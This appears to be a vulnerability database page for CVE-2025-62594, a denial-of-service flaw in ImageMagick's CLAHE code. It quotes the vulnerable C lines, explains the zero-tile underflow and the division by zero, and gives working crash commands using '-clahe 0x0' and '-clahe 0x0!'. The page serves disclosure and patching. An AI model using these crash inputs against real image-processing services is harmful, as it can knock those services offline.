🛡️ CVE-2025-62594 — imagemagick

🟡 CVSS 4.7 — Medium ⚠️ Exploit Public CWE-119 NVD
4.7
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

ImageMagick CLAHE : Unsigned underflow and division-by-zero lead to OOB pointer arithmetic and process crash (DoS)

Summary

A single root cause in the CLAHE implementation — tile width/height becoming zero — produces two distinct but related unsafe behaviors.

Vulnerabilities exists in the CLAHEImage() function of ImageMagick’s MagickCore/enhance.c.

1. Unsigned integer underflow → out-of-bounds pointer arithmetic (OOB): when tile_info.height == 0, the expression tile_info.height - 1 (unsigned) wraps to a very large value; using that value in pointer arithmetic yields a huge offset and OOB memory access (leading to memory corruption, SIGSEGV, or resource exhaustion).

2. Division/modulus by zero: where code performs ... / tile_info.width or ... % tile_info.height without re-checking for zero, causing immediate division-by-zero crashes under sanitizers or abort at runtime.

Both behaviors are triggered by the same invalid tile condition (e.g., CLI exact -clahe 0x0! or automatic tile derivation dim >> 3 == 0 for very small images).

Details

Unsigned underflow(can lea to OOB)

  • Location: MagickCore/enhance.c, around line 609
  • Version tested: 7.1.2-8 (local ASan(undefined). /UBSan build)
  • Vulnerable code

enhance.c: 609

```c

p += (ptrdiff_t) clahe_info->width * (tile.height - 1);

```

  • Root Cause
  • If tile.height == 0, then (tile.height - 1) underflows to UINT_MAX.
  • Multiplication with clahe_info->width yields a huge value close to SIZE_MAX.
  • Adding this to p causes pointer arithmetic underflow.

Division-by-zero

  • File / Location: MagickCore/enhance.c, around line 669
  • Version tested: 7.1.2-8 (local ASan(undefined). /UBSan build)
  • vulnerable code

enhance.c: 669-673

```c

if ((image->columns % tile_info.width) != 0)

tile_info.x=(ssize_t) (tile_info.width-(image->columns % tile_info.width));

tile_info.y=0;

if ((image->rows % tile_info.height) != 0)

tile_info.y=(ssize_t) (tile_info.height-(image->rows % tile_info.height));

```

  • Root cause

Missing input validation / bounds checks after computing default tile dimensions:

If either tile_info.width or tile_info.height is 0, this triggers a division by zero. Zeros can reach this point through:

1. Exact tiles: CLI clahe 0x0! (the ! forces zero to be used verbatim).

2. Auto tiles on tiny images: When a requested tile is 0 (no !), the code derives a default from the image size (e.g., dim >> 3). For images with dim < 8, this result is 0 unless clamped.

Reproduction

Unsigned underflow

Environment

Built with AddressSanitizer and UndefinedBehaviorSanitizer enabled.

```c

export UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1

export ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0

```

Command

```bash

./magick xc:black -clahe 0x0 null:

```

Output

```

MagickCore/enhance.c:609:6: runtime error: addition of unsigned offset overflowed

SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior MagickCore/enhance.c:609:6 in CLAHEImage

```

./magick -size 10x10 xc:black -clahe 0x0 null:

<img width="1068" height="64" alt="image" src="https://github.com/user-attachments/assets/cd9637ee-1d03-4066-834d-fda22410dd8b" />

memory region corruption.

./magick -size 2000x2000 xc:black -clahe 0x0 null:

<img width="1069" height="70" alt="image" src="https://github.com/user-attachments/assets/ecbab79c-a3c2-4e8c-96c9-8e2aa8f0d2b2" />

→ Significant memory consumption and evidence of memory region corruption.

./magick -size 4000x4000 xc:black -clahe 0x0 null:

<img width="776" height="49" alt="image" src="https://github.com/user-attachments/assets/63a7cec5-616b-4aa5-87f3-a546a87e6625" />

→ Much larger memory usage; process appears to be aggressively consuming cache and address space.

./magick -size 8000x8000 xc:black -clahe 0x0 null:

<img width="748" height="46" alt="image" src="https://github.com/user-attachments/assets/48b3aac8-98b3-4fbb-a5ca-4e7936bca44b" />

→ Memory usage escalates further and begins exhausting available cache. If left running, the process is likely to crash (DoS) after sustained allocation attempts.

Division-by-zero

Environment: ASan/UBSan-enabled build.

```c

export UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1

export ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0

```

Command

```bash

./magick -size 16x2 gradient: -type TrueColor -depth 8 -clahe 0x0! null:

```

Output

<img width="1915" height="818" alt="image" src="https://github.com/user-attachments/assets/cfe44432-b429-49e4-8673-2ed55ba9a961" />

Notes: Without sanitizers, the process may terminate with just Aborted (still DoS).

Impact

  • Primary: Denial-of-Service — crash or sustained resource exhaustion (memory/cache thrash) when processing crafted parameters or small images via

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is high, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

CVE-2025-62594 is classified as CWE-119: Improper Restriction of Operations within Memory Buffer Bounds. A read or write is performed without confirming it stays inside the allocated buffer, corrupting adjacent memory.

Affected software

CVE-2025-62594 is recorded against 13 packages.

  • imagemagick (fixed in 7.1.2-8)
  • magick.net-q16-arm64
  • magick.net-q16-hdri-arm64
  • magick.net-q16-hdri-openmp-arm64
  • magick.net-q16-hdri-openmp-x64
  • magick.net-q16-hdri-x64
  • magick.net-q16-openmp-arm64
  • magick.net-q16-openmp-x64
  • magick.net-q16-x64
  • magick.net-q8-arm64
  • magick.net-q8-openmp-arm64
  • magick.net-q8-openmp-x64
  • magick.net-q8-x64

Timeline and source

Published on 27 October 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com

CVE-2025-62594 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity MEDIUM
CVSS Score 4.7
CVSS Vector CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H
CWE CWE-119
Public Exploit ⚠️ Yes
Source NVD
Published 2025-10-27
Updated 2026-08-12
Modified 2026-06-17

Affected Packages

Software From version Fixed in
imagemagick 7.1.2-8
magick.net-q16-arm64
magick.net-q16-hdri-arm64
magick.net-q16-hdri-openmp-arm64
magick.net-q16-hdri-openmp-x64
magick.net-q16-hdri-x64
magick.net-q16-openmp-arm64
magick.net-q16-openmp-x64
magick.net-q16-x64
magick.net-q8-arm64
magick.net-q8-openmp-arm64
magick.net-q8-openmp-x64
magick.net-q8-x64

Similar Threats

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